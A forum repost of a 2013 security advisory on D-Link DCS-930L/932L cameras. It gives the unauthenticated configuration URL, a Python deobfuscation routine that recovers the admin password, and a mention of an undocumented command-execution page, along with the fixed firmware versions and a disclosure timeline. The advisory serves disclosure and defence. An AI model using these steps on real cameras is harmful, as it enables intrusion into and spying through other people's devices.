Praetorian503 Posted January 30, 2013 Report Share Posted January 30, 2013 D-Link DCS Cameras suffer from authentication bypass and remote command execution vulnerabilities due to a remote information disclosure of the configuration.Unauthenticated remote access to D-Link DCS cameras===================================================[ADVISORY INFORMATION]Title: Unauthenticated remote access to D-Link DCS camerasDiscovery date: 20/06/2012Release date: 28/01/2013Credits: Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)[VULNERABILITY INFORMATION]Class: Authentication bypass, Remote command execution[AFFECTED PRODUCTS]This security vulnerability affects the following products and firmwareversions: * D-Link DCS-930L, firmware version 1.04 * D-Link DCS-932L, firmware version 1.02Other products and firmware versions are probably also vulnerable, but theywere not checked.[VULNERABILITY DETAILS]D-Link DCS web cameras allow unauthenticated attackers to obtain theconfiguration of the device remotely. A copy of the device configuration can beobtained by accessing the following URL: http://<device IP address>/frame/GetConfigThe obtained configuration file is obfuscated using a trivial obfuscationscheme. Python code for the deobfuscation follows (sorry, the code is quite amess ):<cut># 'data' holds the content of the obfuscated configuration filedef deobfuscate(data): r = [] for c in data: c = ord(c) c = (c + ord('y')) & 0xff c = (c ^ ord('Z')) & 0xff c = (c - ord('e')) & 0xff r.append(c) tmp = None i = len(r) - 1 while i >= 0: if i == len(r) - 1: x = r[i] tmp = ((x & 7) << 5) & 0xff if i == 0: assert tmp is not None x = r[0] x = (x >> 3) & 0xff x = (x + tmp) & 0xff r[0] = x else: c1 = r[i-1] c2 = r[i] c1 = c1 & 0x7 c2 = (c2 >> 3) & 0xff c1 = (c1 << 5) & 0xff c2 = (c2 + c1) & 0xff r[i] = c2 i = i - 1 r = "".join([chr(x) for x in r]) s = "" assert (len(r) % 2) == 0 for i in range(len(r)/2): s += r[i+(len(r)/2)] + r[i] return s</cut>The above procedure returns the deobfuscated ASCII version of theconfiguration file. This file includes, among other things, also the webpassword for the "admin" user.As a side note, it is worth considering that, after exploiting this issue,authenticated attackers can also leverage the undocumented /docmd.htm web pageto execute arbitrary commands on the affected devices.[REMEDIATION]This issue has been addressed by D-Link in the following firmware releases:* DCS-930L V1.06B5 (August 15, 2012)* DCS-932L V1.04B5 (August 15, 2012)These updates are available through mydlink.com and have also been implementedon DCS-942L and higher camera products.[DISCLOSURE TIME-LINE] * 20/06/2012 - Initial vendor contact. * 11/07/2012 - The author provided D-Link with the details of the vulnerability. * 12/07/2012 - D-Link confirmed the issue is a new security vulnerability. * 26/01/2013 - D-Link confirmed the release of firmware versions that address the vulnerability. * 28/01/2013 - Public disclosure.[DISCLAIMER]The author is not responsible for the misuse of the information provided inthis security advisory. The advisory is a service to the professional securitycommunity. There are NO WARRANTIES with regard to this information. Anyapplication or distribution of this information constitutes acceptance AS IS,at the user's own risk. This information is subject to change without notice.Source: PacketStorm Quote Link to comment Share on other sites More sharing options...